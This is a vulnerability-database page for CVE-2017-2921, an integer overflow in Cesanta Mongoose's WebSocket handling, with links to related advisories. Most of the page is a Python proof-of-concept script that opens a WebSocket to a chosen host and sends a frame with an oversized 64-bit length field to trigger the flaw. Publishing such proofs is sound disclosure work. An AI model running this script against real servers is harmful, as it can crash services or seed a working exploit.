Lucene search
K

Cesanta Mongoose Websocket Protocol Packet Length Code Execution Vulnerability(CVE-2017-2921)

🗓️ 08 Nov 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 43 Views

Cesanta Mongoose WebSocket Protocol Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Cesanta Mongoose Remote Code Execution Vulnerability
2 Nov 201700:00
cnvd
CVE
CVE-2017-2921
7 Nov 201716:00
cve
Cvelist
CVE-2017-2921
7 Nov 201716:00
cvelist
Debian CVE
CVE-2017-2921
7 Nov 201716:00
debiancve
EUVD
EUVD-2017-12062
7 Oct 202500:30
euvd
NVD
CVE-2017-2921
7 Nov 201716:29
nvd
OpenVAS
Mongoose Web Server <= 6.8 Multiple Vulnerabilities
7 Jul 202100:00
openvas
OSV
DEBIAN-CVE-2017-2921
7 Nov 201716:29
osv
Prion
Integer overflow
7 Nov 201716:29
prion
RedhatCVE
CVE-2017-2893
20 May 202223:50
redhatcve
Rows per page

                                                import socket
import struct
import sys
http_upgrade = ('GET /chat HTTP/1.1\r\n'
              'Host: server.example.com\r\n'
              'Upgrade: websocket\r\n'
              'Connection: Upgrade\r\n'
              'Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\n'
              'Sec-WebSocket-Protocol: chat, superchat\r\n'
              'Sec-WebSocket-Version: 13\r\n'
              'Origin: http://example.com\r\n\r\n')
#only HTTP "Upgrade: websocket" header matters above, the above GET request was copied verbatim from wikipedia


payload = "\x00" # FIN flag doesn't matter, opcode doesn't matter
payload += chr(0x80 | 127 ) # mask is set, payload len of 127 means next 64 bits are actual payload len
payload_len = 0xffffffffffffffff -12   #actual payload len
payload += struct.pack("!Q",payload_len)
masking_key = 0 #masking key can be anything, and would need to be a specific value in real exploit
payload += struct.pack("I",masking_key)
payload += "A"*40 #garbage to pad the packet


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.send(http_upgrade)
print s.recv(1024)
s.send(payload)
print s.recv(1024)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Nov 2017 00:00Current
9.7High risk
Vulners AI Score9.7
EPSS0.02417
43